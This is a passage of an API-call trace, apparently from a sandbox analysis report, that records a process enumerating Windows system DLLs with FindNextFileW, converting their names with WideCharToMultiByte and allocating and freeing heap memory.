lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADTSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 13 [0210.103] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.103] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.103] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.103] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.103] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.103] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0c6f80, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b0c6f80, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b0ed0e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9c600, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="advapi32.dll", cAlternateFileName="")) returned 1 [0210.103] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.103] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0210.103] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x92c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVAPI32.DLL", lpUsedDefaultChar=0x0) returned 12 [0210.103] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.103] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.103] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.103] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.103] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.103] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0777c0d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa0777c0d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7de49f40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="advpack.dll", cAlternateFileName="")) returned 1 [0210.103] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.103] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0210.103] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x92c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVPACK.DLL", lpUsedDefaultChar=0x0) returned 11 [0210.103] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.103] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.103] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.103] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.104] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.104] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e862c71, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x5e862c71, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x7de71040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="aecache.dll", cAlternateFileName="")) returned 1 [0210.104] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.104] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0210.104] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x92c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AECACHE.DLL", lpUsedDefaultChar=0x0) returned 11 [0210.104] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.104] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.104] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.104] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.104] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.104] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c6f412, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x79c6f412, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xf1f20320, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="aeevts.dll", cAlternateFileName="")) returned 1 [0210.104] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.104] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0210.104] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x92c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AEEVTS.DLL", lpUsedDefaultChar=0x0) returned 10 [0210.104] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.104] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.104] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.104] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.104] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.104] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2994413f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x2994413f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e0609f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="AltTab.dll", cAlternateFileName="")) returned 1 [0210.104] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.104] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0210.104] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x92c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALTTAB.DLL", lpUsedDefaultChar=0x0) returned 10 [0210.104] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.104] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.104] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.104] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.104] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.104] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a29ac8e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a29ac8e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a29ac8e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="amstream.dll", cAlternateFileName="")) returned 1 [0210.104] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.104] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0210.105] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x92c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMSTREAM.DLL", lpUsedDefaultChar=0x0) returned 12 [0210.105] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.105] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.105] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.105] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.105] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.105] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76fcd8be, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x76fcd8be, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e0853e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="amxread.dll", cAlternateFileName="")) returned 1 [0210.105] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.105] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0210.105] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x92c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMXREAD.DLL", lpUsedDefaultChar=0x0) returned 11 [0210.105] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.105] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.105] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.105] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.105] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.105] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41bceeb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xd41bceeb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e4d7330, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a8c00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="apds.dll", cAlternateFileName="")) returned 1 [0210.105] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.105] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.105] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x92c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APDS.DLL", lpUsedDefaultChar=0x0) returned 8 [0210.105] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.105] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.105] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.105] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.105] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.105] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf21dc5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf21dc5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-core-console-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.105] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.105] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0210.105] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x92c288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0210.105] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.105] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.106] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.106] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.106] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.106] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cefbc66, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cefbc66, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-core-datetime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.106] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.106] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0210.106] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x92c120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0210.106] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.106] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.106] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.106] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.106] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.106] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd32bf2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd32bf2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-core-debug-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.106] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.106] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0210.106] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x92c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0210.106] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.106] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.106] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.106] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.106] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.106] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-core-delayload-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.106] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.106] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0210.106] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x92c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0210.106] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.106] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.106] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.106] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.106] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.106] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2ccc07d5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2ccc07d5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-core-errorhandling-l1-1-0.dll", cAlternateFileName="")) returned 1 [0210.106] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.106] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0210.107] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x92c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0210.107] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.107] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.107] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.107] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.107] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.107] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd7eeb0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd7eeb0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="api-ms-win-core-fibers-l1-1-0.dll", 